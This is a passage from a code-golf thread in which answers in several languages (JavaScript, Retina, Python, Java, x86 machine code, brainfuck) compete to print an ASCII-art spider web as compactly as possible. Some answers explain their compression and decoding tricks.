m.charAt(b & 15) // append second char ; } return r; }; ``` ## Mapping discovery ``` public static void main(String[] args) throws Exception { String characters = "O+():-\n.'\\/|_ "; // All characters of the web, ordered up by frequency PermUtil perm = new PermUtil(characters.toCharArray()); // Tool for a fast permutation of a char[]. outer: for (int p = 0; p < 100000000; p++) { String mapping = "ZZ" + new String(perm.next()); String printableMapping = mapping.replace("\\", "\\\\").replace("\n", "\\n"); byte[] bytes = new byte[WEB.length() / 2]; for (int i = 0; i < bytes.length; i++) { int b = bytes[i] = (byte) ((mapping.indexOf(WEB.charAt(i * 2)) << 4) + mapping.indexOf(WEB.charAt(i * 2 + 1))); b &= 0xff; if (b < 0x20 // Unmappable CP-1252 || b==0x81||b==0x8d||b==0x8d||b==0x8d||b==0x8d // Invalid CP-1252 || b==0x22||b==0x5c) { // '"' and '\\' continue outer; } } System.out.printf("Mapping = \"%s\"%n", printableMapping); System.out.printf("Result = \"%s\"%n", new String(bytes, "Windows-1252")); return; } } ``` [Answer] ## JavaScript (ES6), 471 bytes Packed with an ES6 variant of [RegPack](https://siorki.github.io/regPack.html). ``` let f = _=>[..."ghijklmnopqrstuvwxyz{}~"].reduce((p,c)=>(l=p.split(c)).join(l.pop()),` mx |zm/gq~r~wq~ws~{wrw/|rw/w{w/zvxuovxu/zw{ xu~r~~q~~svx {vw/z'n':'n'/zwu{pvj'~zx _|_ xs'puj{ q/.y/p'o'jh.r| {tvsp_|_ szut{i'/.~/vj/ozpur.z' z{x/l/l/_z(+)/_zlzlzx{~hhp/(O)p/y/ys{p.z'~zu zz_:_/ivs'/.j{tursqr/vt{ qz'yk_._:_._ky's| {iu hs~q~hiv z{u_y'k.n.:.n.k'y_v{yv~ixy|yx ruy{wku~vou~vkw{wswz|swzw{xx/}|}zxx|g/mz|y }xxxl{|g|z\\y~ l_w~yv'.u.'t q| s/~rz~q|~pz o : n---m}}}xlx_kz/j /i/ hzyg| |`) o.innerHTML = f() ``` ``` <pre id=o></pre> ``` [Answer] # [Retina](https://github.com/m-ender/retina), ~~465~~ ~~463~~ 425 bytes ``` 1ic¶|\i/|¶||4\9|9/4b5\7/|\7/5b5/\dcekdce/\5b1cem6|6hdc1bd5/\'j':'j'/\5ebgd1/'mc1_|_1ch'ge1/b1|2/.3/g'k'1/\3.\2|1bfdhg_|_1h\efb/1'/.2/d1//k\ge\2.\'1\bc/c_/c_/_\(+)/_\c_\c_\cbm3\3g/(O)g/3/3hbg.\'me1\\_:_//1dh'/.1/bfe\2h|m2/dfb1|m'3l_._:_._l3'h|1b/1e1\3/4|4\3/1d1\be_3'l.j.:.j.l'3_db3d2/1c3|3c1\2e3b5le2dke2dl5b5/7\|/7\5bcc/a|a\cc||¶|/i\| m 2\ l \/ k 1:1 j --- i aaac h /2 g \1 f 1|2|1 e .' d '. c __ b ||¶|| a _________ \d $* ``` [Try it online!](https://tio.run/##LVBBTgMxDLz7FRyQUkCN5aRb1H6CD1iKNk422e4uSIij38UD@BPn4gKRx1HkmbHj9/oxv47XK9AsX5/KM6pdeuCTnvCQB35GNQx5QC5SFwPykEnqdtRjL0K5WMld3NlgpZpbIXSbUNJE0l2rhJk0oI/Y3OIIOXoOSnkqvd1IneuUkRz6gKbFhVvl4NkRZ0FJt0i8e3qwLH@Rt8ix4e7loWHE2HMz@laJOZ0TIpVubtZ3MqOum/lONsPm4pq8MXxao@s2ApJpIh7sw9FU1rCm6FZ/8WfD6mIqOZaAJFGjEIca87DWUBbDetvKM6thyCI46sgielsgzqywQWBYgREWoDPBBfb7PcwwjqNABwzQgAkmsO0oQQXvoIDzIJASZPh1Uhjt9X@AC9w/3l2v369vexml1x8 "Retina – Try It Online") [Answer] # Python 2.7, ~~414 405~~ 401 bytes ``` import zlib print zlib.decompress('fY9BauhADEP3OcXbueUz1j6X6AUEuogP/xeTpCmUGgxK5iFZ5O85xn++a44ZAHPPPEoAcxMPovEbeBFyddLFyRbyi0i6Hpd5HKqTTVTfLmutOmutdTt0zRwzphoVOCETEkGZLrRTBtSATHFSyEAbhocYqgUmEwTu2r9njhlRalA1Eic2XYZ24ZljJlHu9ce/T8XJvTsFc68+vj6Ndl0EV5d27Wg7Z6R9VKlfXWZHC7alql+XMuACrHTOdCyg9OrSha9ohusoUX116QpQVq+1+uy1VlsFpPrqQjWI5PJIMHRxdQHA6oJqTraw4Aexv8HzqG8iSZR75lFOkpljvh9/G89/'.decode('base64'),-9) ``` Simply decompresses the string and prints it. :) [Answer] # [Python 3](https://docs.python.org/3/), ~~404~~ 398 bytes ``` import zlib,base64 print(zlib.decompress(base64.b85decode('eUD3yLoo;h_c;YSCmI>{zC<p7#6>v#bmLDv(kMuN!q4SuEb+Y_>0i$+ADM!3*_EfW+HT??mVN^lVcs-Cn+%za`9;*pw&XF8oJ7-Y>Akm6-(}ENgo75N1$QE`f(FMq#;O#EP0J!Rhm=8`k%vfljI+?e2KVz2CXEVXmcillJ0(rL2*k!-{``62i+-({QV*TWp6{14X0P=Y`YPHzMj)z&VzynARx~e_jzi_2w@@N(p>Sw8Bbr@rp?^gam$iduzC~N`iktS{b=235(rCKgLK=4>mIDneN@x?Dfj>YFnN7`d6LSwTPxm1LWw9$y=d}g#IsC6Ye*p'),-9).decode()) ``` [Try it online!](https://tio.run/##LdDBbqJAAIDh@z5FDbYdoBhFRY0LaAFTFVlbLMqlIDLqCANTUNEh7au7aXav33/7yfW4T5Pm7YYwSbPjHY1R8BSscyi1fpEMJUfwI7UQblJMMpjn4F@sBd32D4YQPMJ3vXk107S/9zZ919bwWCmp9pt0GEk5MwE29TOIZier8tmyT0bAu55SR1V@qM8qTc4ztkv@ZaGq2LE@YmeTC1rC39O13@tzpHhYjbrppCO4yjDCkgC@DGuXdtpWo/pq@Fswmn0y/T@MMa9PKm97LHf96P68jQ9jXoXi1KGitjKcFd6gOJ7UQWaKXFQRSt@XRMQLoHx1uMWSSGWjtarPZdd35y90dmDpg0OvyfDt8g29A0WeWAwGFiCKXXSfg2yQEfVjt8ZVFJ6o9m35KDraZSCLzTbItOnOnMotBY/1BFqDi6pvD4o7SqyOH0qmXSzmF9wwl0WvepXDrx0zzjXJhRx5ZJ@EHlv7f5Rlb7e/ "Python 3 – Try It Online") Same cheat as [the Python 2.7 version](https://codegolf.stackexchange.com/a/127795/70305), just tweaked for Py3 required `bytes` <-> `str` conversion. Still smaller than the 2.7 code despite the additional imports and required decoding by virtue of Python 3 providing base85 encoding as a built-in, reducing the size required to represent the compressed data in ASCII printable format by 28 bytes. Edit: Shaved six more bytes by recompressing with `wbits=-9` so no header or checksum is put on data (in exchange for needing to add `,-9` arg to `zlib.decompress`). [Answer] # Java 8, 719 bytes ``` u->{String a="______________";return r(" _"+a,"_")+r("|| x ","|")+r("|| x /","|")+r("|| /x'.__.' ",":")+r("|| __.' x ","|")+r("||'. /x'---'",":")+r("||x '. /' x__ _","|")+r("|| | /. /x ' ", ":")+r("|| | | './ x _","|")+r("||/ '/. /'. // ","|")+r("||__/___/___/_x","(+)")+r("|| x x x /","(O)")+r("||x .x' x.' xx_",":")+r("|| | | .'x / ","|")+r("|| | x' x/_._",":")+r("||/ .' x / ","|")+r("||.'_ 'x/.---.",":")+r("|| '. / __ ","|")+r("|| x/.' '. ",":")+r("|| / x","|")+r("||____/_________",":")+r("|/"+a,"_");}String r(String a,String b){return a.replace("x","\\")+b+(new StringBuffer(a).reverse()+"\n").replace("/","\\").replace("x","/");} ``` Can definitely be golfed, but it's just a start and something other Java golfers can (try to) beat. ;) **Explanation:** [Try it here.](https://tio.run/##bZPBcuMgDIbveQoNF8M4hnsz3cPeNz302HQY7JKtsy72YJzSSfLsqeTFjd1dZrAN4pN@ZOlgjqZoO@sOL3@uVWP6Hn6Z2p1WALUL1u9NZWFLS4DH4Gv3Gyr@UB5sFSCKDe5fVvjYgoN7uA7Fj1M6Ze6ZXgy28TYM3oHnDDTLzZppJnJcnc/kPcI02Jqd55Yvk/rHomImtZYZMXdflnFnouZMJieqKIpszkRAmyJKa1Q3j4ORlBwpoDgwC4SmM4KKgi0gBRkxipyqhQStlZ5mRAPPxe1GEaZJV@UP4iZPRhKH94pRLy47apAZYupb6shhRt6UlgtGAfmBkVgyMtO4k0UlMUFyEQcoQ0ho/d9fpCjleOIbk2LQiWUW/uYglcaNUVNhbC6rzYgr2LYBOuMDtHsIrxbKj2CLqh1cWKVi83yqunX6KMUplZuR3nYNljFnJGG3w0hlzp19TwX9c9jvredG4MGj9b3lImc7x8QNVAlculKk8grQDWVTV9AHE/B1bOsXeMMeSpqensGI1EAffbBvsh2C7NAURhHUblxIJyvuhqYRqaku108) ``` u->{ // Method (1) with unused Object parameter and String return-type String a="______________"; // Temp String we use multiple times return r(" _"+a,"_")+r("|| x ","|")+r("|| x /","|")+r("|| /x'.__.' ",":")+r("|| __.' x ","|")+r("||'. /x'---'",":")+r("||x '. /' x__ _","|")+r("|| | /. /x ' ", ":")+r("|| | | './ x _","|")+r("||/ '/. /'. // ","|")+r("||__/___/___/_x","(+)")+r("|| x x x /","(O)")+r("||x .x' x.' xx_",":")+r("|| | | .'x / ","|")+r("|| | x' x/_._",":")+r("||/ .' x / ","|")+r("||.'_ 'x/.---.",":")+r("|| '. / __ ","|")+r("|| x/.' '. ",":")+r("|| / x","|")+r("||____/_________",":")+r("|/"+a,"_"); // Return the result } // End of method (1) String r(String a,String b){ // Method (2) with two String parameters and String return-type return a.replace("x","\\") // Return the first halve of the row +b // + the middle character(s) +(new StringBuffer(a).reverse()+"\n").replace("/","\\").replace("x","/"); // + the reversed first halve } // End of method (2) ``` [Answer] # 256 bytes, machine code (16-bit x86) I was hoping I'll be able to beat at least Charcoal solution, but I haven't managed to squeeze more out of this (so far). ``` 00000000: e8 7d 00 00 01 03 02 05 04 07 04 08 09 0a 0b 0c .}.............. 00000010: 08 0a 0a 10 28 29 5c 2f 27 2e 2b 4f 20 3a 5f 7c ....()\/'.+O :_| 00000020: 2d 5f 5f 20 0a fd fd 1b 12 fe de 3b 7f 12 ff 1f -__ .......;.... 00000030: 5b a2 e3 5b a3 12 14 15 3d 15 14 29 3b 2d 1d 15 [..[....=..);-.. 00000040: 14 42 2f 1f 6b 3b 14 15 1f 83 12 14 5c 14 19 3b .B/.k;......\..; 00000050: 12 24 15 23 62 3d 2d 5b 2b 43 15 63 12 1f 14 1f .$.#b=-[+C.c.... 00000060: 19 3b 2b 4b 24 15 13 42 2d 5b 13 24 13 15 43 14 .;+K$..B-[.$..C. 00000070: 15 23 13 1f 19 3b 3d 13 5d 13 5d 13 1d 12 10 16 .#...;=.].]..... 00000080: be 25 01 bf 00 03 57 57 b1 cc b0 08 f2 aa 5f 47 .%....WW......_G 00000090: ac d4 10 d0 ec 73 06 10 e1 f2 aa eb 05 10 e1 f2 .....s.......... 000000a0: ae aa 81 fe 80 01 75 e8 ba 0c 00 5e bf 00 04 5b ......u....^...[ 000000b0: 57 b1 11 f3 a4 4e 4e b1 10 fd ac 3c 03 77 02 34 W....NN....<.w.4 000000c0: 01 fc aa e2 f4 83 c6 12 b0 10 aa 4a 75 e3 b2 0c ...........Ju... 000000d0: be 76 05 b1 22 ac d7 aa e2 fb 83 ee 44 4a 75 f3 .v..".......DJu. 000000e0: 83 c3 11 b0 04 bf f6 04 aa 83 c7 0f aa bf 4a 06 ..............J. 000000f0: aa 83 c7 0f aa b9 0e 03 5e 89 f7 ac d7 aa e2 fb ........^....... ``` Running: save to codegolf.com, dosbox to see the result you need to set breakpoint at `cs:200` and dump memory at `ds:400` of legth `30e`... or you can append following piece, that will dump it to stdout ``` 00000100: 31 db b9 0e 03 ba 00 04 b4 40 cd 21 cd 20 1........@.!. ``` This is my third code golf entry. Previous one was [xor encryption](https://codegolf.stackexchange.com/a/179786/74387). Again: done using [HT hexeditor](http://hte.sourceforge.net/), **without compiler**, but using Ctrl-a `assemble instruction`. ![successfull attempt](https://i.stack.imgur.com/47BTy.png) ## How This one took a *bit* to make it... I've started with a simple approach, with one quadrant and trying to mirror it. That resulted in ~250 bytes and having only 2 of 4 quadrants. Big part of that was first quadrant itself, that took 204 bytes. I knew this can be better. I quickly checked that lz4 produces file with 144 bytes (skipping headers). GZ results in ~120 bytes, but clearly I wouldn't be able to create decompressor in 30 or so bytes. So another attempt was handcrafting first quadrant by drawing it (including skipping, 4-bit encoding and such). That along with code resulted in 164 bytes (mind that's first quadrant only), nice but I was quite convinced I could do better. I came up with some encoding, that ends up in **85** bytes for data. Along with translation table (that is not used yet) and decoder, I ended up with **144** bytes. NOICE, I'm =lz4 and already have decoder. Next step was to merge initial mirroring from ~250 attempt to this one, this required some data tuning, but went easier than expected and resulted in 184bytes. I realized I will need some additional markers to do horizontal mirror, which extended data to 91b and code to 190bytes (that went into trash later). Along with horizontal mirror and final translation I've ended up with ~250 bytes. I've managed to eat few bytes here and there, but had to add that ugly chars, that are incorrectly mirrored. That yielded 259 bytes... That is bad, cause I was using memory starting at 0x200 and did not want to redo that. I've replaced conditions in horizontal mirror, to loop using translation table, that itself didn't save much, but combined with changing offending chars to spaces and fixing them later, saved few bytes, resulting in final **256** bytes. You can see nice gallery, that I've done, while making this [here](https://i.stack.imgur.com/TEAS4.jpg) ## Dissection As previous entries, this one also relies on [initial values](http://www.fysnet.net/yourhelp.htm), although not that much as previous ones: ``` :0100 E8 7D 00 call 0x180 ``` skip data, there are 3 tables following: ``` :0103 db 00h,01h,03h,02h,05h,04h,07h,04h,08h,09h,0Ah,0Bh,0Ch,08h,0Ah,0Ah,10h ``` Translation table will be use for horizontal mirroring ``` :0114 db "()\/'.+O :_|-__ \n" ``` Translation table will be used for final substitution, to convert codes to actual ascii ``` :0125 db FDh,FDh,1Bh,12h,FEh,DEh,3Bh,7Fh,12h,FFh... ``` Encoded data, encoding is pretty simple: * low nibble is character code * high nibble: + if lowest bit is 1 interpret other 3 bits as 'repeat' (+ additional 1) of low nibble code + else interpret as number of bytes to 'skip' then place low nibble code ``` :0180 BE 25 01 mov si, 125h :0183 BF 00 03 mov di, 300h :0186 57 push di :0187 57 push di :0188 B1 CC mov cl, 0CCh :018A B0 08 mov al, 8 :018C F2 AA repne stosb ``` fill 12\*17 bytes with what will become space (8) ``` :018E 5F pop di :018F 47 inc di :0190 :0190 AC lodsb :0191 D4 10 aam 10h :0193 D0 EC shr ah, 1 :0195 73 06 jnb short 0x19D :0197 10 E1 adc cl, ah :0199 F2 AA repne stosb :019B EB 05 jmp short 0x1A2 :019D :019D 10 E1 adc cl, ah :019F F2 AE repne scasb :01A1 AA stosb :01A2 :01A2 81 FE 80 01 cmp si, 180h :01A6 75 E8 jnz short 0x190 ``` "Decompress" the data as described under table 3. Mind usage of beloved [AAM instruction](https://www.felixcloutier.com/x86/aam), and abuse of scasb to skip bytes. ``` :01A8 BA 0C 00 mov dx, 0Ch :01AB 5E pop si :01AC BF 00 04 mov di, 400h :01AF 5B pop bx :01B0 57 push di :01B1 :01B1 B1 11 mov cl, 11h <-- :01B3 F3 A4 rep movsb | :01B5 4E dec si | :01B6 4E dec si | :01B7 B1 10 mov cl, 10h | :01B9 | :01B9 FD std <-- | :01BA AC lodsb | | :01BB 3C 03 cmp al, 3 | | :01BD 77 02 ja short 0x1C1 -- | | :01BF 34 01 xor al, 1 | | | :01C1 | | | :01C1 FC cld <-- | | :01C2 AA stosb | | :01C3 E2 F4 loop 0x1B9 -- | :01C5 83 C6 12 add si, 12h | :01C8 B0 10 mov al, 10h | :01CA AA stosb | :01CB 4A dec dx | :01CC 75 E3 jnz short 0x1B1 -- ``` This part is pretty ugly, it sets destination at 0x400: * copies row * mirrors a row * adds 'newline' (10h at 0x1C8) Mind that mirror is done by abusing std/cld, to go through `SI` in reverse. Only `\/()` characters needs to be mirrored, that is done by xor at 0x1BF. ``` :01CE B2 0C mov dl, 0Ch :01D0 BE 76 05 mov si, 576h :01D3 :01D3 B1 22 mov cl, 22h <-- :01D5 | :01D5 AC lodsb <-- | :01D6 D7 xlat | | :01D7 AA stosb | | :01D8 E2 FB loop 0x1D5 -- | :01DA | :01DA 83 EE 44 sub si, 44h | :01DD 4A dec dx | :01DE 75 F3 jnz short 0x1D3 -- :01E0 83 C3 11 add bx, 11h (adjust bx for final xlat below) ``` This does horizontal mirror by using table 1, and using wonderful 1-byte [XLAT](https://www.felixcloutier.com/x86/xlat:xlatb) Then comes the boring part that fixes 4 "pixels", I'll skip it from here it's boring ``` :01F5 B9 0E 03 mov cx, 30Eh :01F8 5E pop si :01F9 89 F7 mov di, si :01FB :01FB AC lodsb :01FC D7 xlat :01FD AA stosb :01FE E2 FB loop 0x1FB ``` Final step of translating to ascii. PHEW! That was fun. [Answer] # [brainfuck](https://github.com/TryItOnline/tio-transpilers), 5173 bytes ``` ++++[->++++++++<]>.[->+++<]>-...............................>++++++++++.>--[-->+++<]>-.[---->+++<]>-.+++.............................-[-->+<]>.>--[-->+++<]>-.>++++++++++.>--[-->+++<]>-..[---->+<]>+....-[->+++<]>-.+[--->+<]>+.........-[->++++<]>.[---->+<]>+.........[-->+++<]>-.+[--->++<]>....-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.....-[->+++<]>-.+[--->+<]>+.......[-->+++<]>-.>--[-->+++<]>-.[---->+++<]>-.+[--->+<]>+.......[-->+++<]>-.+[--->++<]>.....-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.....[-->+++<]>-.-[->++<]>.[->++++++<]>-.+++++++.+[->++<]>+..-[-->+<]>-.-------.-------.---[->++<]>.[-->+<]>+++.+++++++.+++++++.+[->++<]>+..-[-->+<]>-.-------.++++++++.-[->++<]>.+[--->+<]>+.....-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.[->+++<]>-..-[-->+<]>-.-------.-------..-[->+++<]>-.+[--->+<]>+......-[->++++<]>.[---->+<]>+......[-->+++<]>-.+[--->++<]>..+++++++.+++++++.+[->++<]>+..+[->+++<]>.-[->++++<]>..>++++++++++.>--[-->+++<]>-..-[--->+<]>--.+++++++.++[--->++<]>.....[-->+++<]>-.-[->++<]>.[->++++++<]>-.++++++...------.-[-->+++<]>+.-[--->++<]>+.++++++...------.++++++++.-[->++<]>.+[--->+<]>+.....[-->+++<]>--.-------.++[->+++<]>+..>++++++++++.>--[-->+++<]>-..[---->+++<]>-.+[--->+<]>+.+++++++.+++++++.++[--->++<]>.[-->+++<]>-.--------.-------..-[->+++<]>-.+++..+[->+++<]>.[->+++<]>-.[->++++<]>.[---->+++<]>++.+[->+++<]>.[->+++<]>-..-[-->+<]>.+[--->++<]>..+++++++.+[------>+<]>.+[--->+<]>+.[-->+++<]>--.-------.-------.[-->+++<]>-.>--[-->+++<]>-..>++++++++++.>--[-->+++<]>-..[---->+<]>+.-[->++++<]>.[---->+<]>+..[-->+++<]>-.-.++[--->++<]>...[-->+++<]>-.-[->++<]>.+[--->+<]>+.+++++++.-------.---[->++<]>.[-->+<]>+++.+++++++.-------.[-->+++<]>-.-[->++<]>.+[--->+<]>+...[-->+++<]>--.[->++<]>.+[--->+<]>+..-[->++++<]>.[---->+<]>+.-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.-[->++++<]>.[---->+<]>+..-[->++++<]>.[---->+<]>+.+++++++.+++++++.+.+[--->++<]>..-[->+++<]>-.+[--->+<]>+.[->+++<]>-.[->++++<]>.[---->+++<]>++.+[->+++<]>.[-->+++<]>-.+[--->++<]>..-[->+++<]>-.[-->+<]>.-------.-------.-[->++++<]>.[---->+<]>+..-[->++++<]>.[---->+<]>+.-[->++++<]>..>++++++++++.>--[-->+++<]>-..[----->++++<]>-.+[--->++<]>.+++++++.++++++++.-.++[--->++<]>..[-->+++<]>-.--------.+++++++.++[--->++<]>.[-->+++<]>-..+[--->++<]>.---[->++<]>.[-->+<]>+++.-[->+++<]>-..+[--->+<]>+.[-->+++<]>--.-------.+[------>+<]>.+[--->+<]>+..[-->+++<]>--.[->++<]>.[->++++++<]>-.-------.-[->+++<]>-.+[--->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+++<]>++..-[-->+<]>.[->++<]>+...-[-->+<]>.[->++<]>+...-[-->+<]>.[->++<]>+.---.[->++++++<]>.+++.--.++++++.[->++<]>+.---.+++...---.+++...---.+++..[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+..-[->+++<]>-.+[--->+<]>+...-[->+++<]>-.+[--->+<]>+...-[->+++<]>-.+[--->+<]>+.[-->+++<]>-.-------.[->++<]>-.+[-->+<]>+.-[------>+<]>.+[--->+<]>+.[-->+++<]>-.+[--->++<]>...[-->+++<]>-.+[--->++<]>...[-->+++<]>-.+[--->++<]>..-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+++<]>-.+[--->+<]>+.[-->+++<]>--.[->++<]>.[->++++++<]>-.-------..-[->+++<]>-.[-->+<]>.-------.-------.-[->+++<]>-..+++.[->++++++<]>.[------>+<]>.-[-->+<]>..+[--->++<]>.+++++++.+++++++.+.+[--->++<]>..+++++++.++++++++.-.++[--->++<]>.[-->+++<]>-.>--[-->+++<]>-..>++++++++++.>--[-->+++<]>-..[---->+<]>+.-[->++++<]>.[---->+<]>+..-[->++++<]>.[---->+<]>+.[-->+++<]>--.-------.+[------>+<]>.+[--->+<]>+..[-->+++<]>-.+[--->++<]>..-[->++++<]>.[---->+<]>+..-[->+++<]>-.+[--->+<]>+..[-->+++<]>-.--------.+++++++.++[--->++<]>.-[->++++<]>.[---->+<]>+..-[->++++<]>.[---->+<]>+.-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.-[->++++<]>.[---->+<]>+..-[->+++<]>-.[->++++++<]>-.-------...-[->+++<]>-.[-->+<]>+.[->++<]>+.-[-->+<]>-.+[->++<]>+.[->++++++<]>.[------>+<]>.-[-->+<]>-.+[->++<]>+.---.[-->+<]>+.+[--->++<]>...+++++++.++++++++.+[--->++<]>..-[->++++<]>.[---->+<]>+.-[->++++<]>..>++++++++++.>--[-->+++<]>-..[----->++++<]>-.+[--->++<]>.[-->+++<]>--.-------.-------.-[->+++<]>-.+[--->+<]>+...[-->+++<]>-.+[--->++<]>....-[->++++<]>.[---->+<]>+....-[->+++<]>-.+[--->+<]>+...[-->+++<]>-.+[--->++<]>.+++++++.+++++++.++[--->++<]>.-[->+++<]>-.+[--->++++<]>..>++++++++++.>--[-->+++<]>-..-[--->+<]>+++++.-------.-[-->+++++<]>.+[->+++<]>...+++++++.+[------>+<]>.[-->+<]>+.-.-...+.++++++++++++.------------.-...+.[->++<]>.[-->+<]>+.--------.-------...[->+++<]>-.[----->++<]>+.+++++++.>--[-->+++<]>-..>++++++++++.>--[-->+++<]>-..[---->+<]>+...+++++++.+++++++.++[--->++<]>..[-->+++<]>-.+[--->++<]>.[->+++<]>-..+[->+++<]>...-[->++++<]>.[---->+<]>+...[->+++<]>-..+[->+++<]>.-[->+++<]>-.+[--->+<]>+..[-->+++<]>--.-------.-------...-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.....-[->+++<]>-.[-->+<]>+.-.-------.-------..+++++++.+++++++.++[--->++<]>.---[->++<]>.[-->+<]>+++.[-->+++<]>--.-------.-------..+++++++.+++++++.[->++<]>.[-->+<]>+.+[--->++<]>.....-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+<]>+.....[-->+++<]>-.+[--->++<]>.......-[->+++<]>-.+[--->++++<]>.[----->++++<]>-.+[--->++<]>.......-[->+++<]>-.+[--->+<]>+.....-[->++++<]>..>++++++++++.>--[-->+++<]>-..[---->+++<]>++....-[-->+<]>.[->++<]>+.........[->++++<]>.[---->+++<]>++.........---.+++....[->++++<]>..>++++++++++.>--[-->+++<]>-.[----->++++<]>-.[->++<]>+.............................---.+[--->++++<]>. ``` [Try it online!](https://tio.run/##tVhLbsQwCD0Qsk9Q5SJRF22lSlWlLirN@dNk/AMMGLsz2UwyNhh4D4z9/vv29fN5@/g@DjifPWyQn5fXLabP8y1E@6lSAHELYQ9N8HxHX9cE60mi19pMjbFCWeL8gKyjrbeToYjGs4f9ONad5e9zmeiMSQObiKNm@ExRZuy6tXgwKWlsQEjedUEZB4TeKZYe/IsU5cUu8aLGp6660LTxmCx5jZlueGHjaBJLBcqKANTl/G6FalZAKHFu@CG@HMtRaEJQlkkffKYDJmQAhndvK3jAE6Do4oldJ27b6AKN/45zksOcLAZlPqpqMvJ7MmDrAiUGqfwaVcPNe5WyJFCcPjJ5JBC86S/5pHGHBEWeo7m1VBvUGGkDHQMp7FoNmWeYUlEC0ZRp1RXkWa/mYlfnUttYaKDjlpigw1Qma2hcw2EZZ5melAoBae1kYSaB8POvoI4qCNodJv4NIRADY0q6UrjpxFrK@dtSP6FvmfMjAjuq7WnmhnanUUmNelVzjszWE9ulIZmmMjvzvKBLUrqKViVWlvICNkrip25M2sA/kljH1Edkf816ctF1xg5vMZxhIsVIgWjdMepUHRQj8@tenzZMkm0dvVzwPGR7MvstvVw5T4zuc6qmz2xtF3eadlxgHVueVbur0nZofSsqvvEiUgMQ683K7@P9Li305LQtCt2hA5ZLTLTjqaLA2ogWFx1rRcRTUYRD6GOuIQhefAmbaUqDZVvNVQroP@UCgyuNRqZYtSEOL3KWugGAqHZy5eZAOwzUG63aqnlbNO5ov6p4Oxd4wI7jDw "brainfuck – Try It Online") # How it works In a nutshell: finds the ascii index each character in the line; then prints it. Then find the ascii index for a newline and prints that. Rinse and repeat my son. ``` The first line (all underscores, so relatively easy): ++++[->++++++++<]>.[->+++<]>-............................... New line: >++++++++++. Second line: >--[-->+++<]>-..[---->+<]>+....-[->+++<]>-.+[--->+<]>+.........-[->++++<]>.[---->+<]>+.........[-->+++<]>-.+[--->++<]>....-[->++++<]>.. New line: >++++++++++. . . . and so on... ``` [Answer] # JavaScript ~~556~~ ~~468~~ ~~462~~ ~~448~~ ~~438~~ ~~387~~ 379 bytes ``` let f = _=>(t="",y=(s,X,L,R)=>{x=M=>{c=s.charCodeAt(i);for(r=c>>4;--r;)t+=(":_| -"+X+M)[c&15]};for(i=0;s[i];i++)x(L);for(--i;i--;)x(R);t+=` `},`#qqA! ",qq1! 2U,uE" 2c,s#-" 2c-,)*6*)# 2#6*)3,#5C" 2)*%C(-,)D) 2,#)*#-'3,6#&" 2#"3-*C-,%)% 2#"3"#)*-3,#&" 2-#)-*3-)*#=% 26-F-F-&,.+`.split(` `).map(s=>y(s," _' '.+","\\/(","/\\)")||s).map((_,i,a)=>i&&y(a[12-i],"_ '.'O","/\\(","\\/)")),t) o.innerHTML = f() ``` ``` <pre id="o"></pre> ``` ## Less Golfed ``` _=>( t="", y=(s,X,L,R)=>{ x=M=>{ c=s.charCodeAt(i); for(r=c>>4;--r;) t+= ( ":_| -" + X + M )[c&15] }; for(i=0;s[i];i++) x(L); for(--i;i--;) x(R);t+=` `}, stringLiteral // of compressed strings separated by '\n' .split(` `) .map(s=>y(s," _' '.+","\\/(","/\\)")||s) .map((_,i,a)=>i&&y(a[12-i],"_ '.'O","/\\(","\\/)")) ,t ) ``` ## Compression The original post (556 bytes) used decimal digits to indicate repetition of a previous character in the spider web. More recent versions compresses the left hand half of the web into 7 bit characters where the least significant nibble is an index into a character set, and three higher order bits specify the number of characters to output plus 1: values `000` and `001` are not used, `010` means 1 character and `111` means six. This construction avoids production of control characters. **Thanks** to @Shaggy for tips and tricks useful in the rewrite. ## How it works The top left quadrant was rewritten to include **placeholders** for top and bottom halves of the web: * 's' to swap space with underscore, * 'u' to swap underscore with space, * 'q' to swap quote with space, and * 'h' to swap space with (hidden) quote giving: ``` ________________ |\_______________ ||ssss\sssssssss| || \ /| || /\'.uu.' : || uu.' \ ss | ||'.s h/\'---': ||\ '. /q \uu u| || | /. /\s's: || | | './ \ u| ||/ '/. /'. //s: ||uu/uuu/uuu/u\(+ ``` which was compressed using ``` charset ::= ":_| -suqh'.+\/(" ``` ## Decompression Decompression maps encoded characters to actual characters for each quadrant. In code, * `X` is an indexed character list that varies between upper and lower web sections. It provides values for "suqh" placeholders, and hard character reflections such as between '+' and 'O'. * 'L' and 'R' are character lists that provide character reflections between left and right halves of the web. ## Encoding Encoding the center character is constrained to use a single character expansion. Character set order is constrained so as to not produce DEL (0x7F), Grave (0x60) or backslash (0x5C) characters during compression. --- This is a late update in response to activity on the question. [Answer] # JavaScript (ES6), ~~[517](https://codepen.io/anon/pen/GEMgyQ)~~ ... ~~459~~ ~~457~~ ~~456~~ ~~433~~ ~~431~~ ~~418~~ ~~409~~ ~~397~~ 392 bytes Includes a trailing line of spaces plus a trailing space on the first line. Some of this is still not optimally golfed - I put a lot of time into just getting it all to work. ``` o.innerText=( _=>[(g=n=>` b8b8 |af8f7 zj4aj9| z 5a 7k| z 5kacibbic : z bbic a jj 3| zcij 3dkac-3c: za ci kh abb b| z | ki 3kajcj: z | | cik a b| zk cki kci kkj: zbbkb3kb3kba(e`[r="replace"](/.\d/g,([x,y])=>x.repeat(y))[r](/\w/g,x=>`\\_' +_O'. /`[[i=parseInt(x,21)-10,10-i][n]]||`||`))(0),...g(1).split` `.reverse()].join` `[r](/.*/g,x=>x+x[r](/./g,_=>(z=x[--y])?`)\\/`[`(/\\`.indexOf(z)]||z:``,y=16)) )() ``` ``` body{align-items:center;background:#222;color:#ddd;display:flex;font-size:14px;height:100vh;justify-content:center;} ``` ``` <pre id=o> ``` Originally based on [Traktor53's since abandoned 556 byte solution](https://codegolf.stackexchange.com/a/128041/58974). Posted [with permission](https://codegolf.stackexchange.com/posts/comments/352881). --- ## To-Do List 1. ~~Find a less expensive way of palindromising the strings.~~ 2. ~~Try to improve the RLE replacement.~~ 3. ~~See if the last 4 replacements can be golfed down in any way.~~ 4. ~~Investigate if building the image in quarters would lead to any significant savings - I suspect not!~~ 5. Add 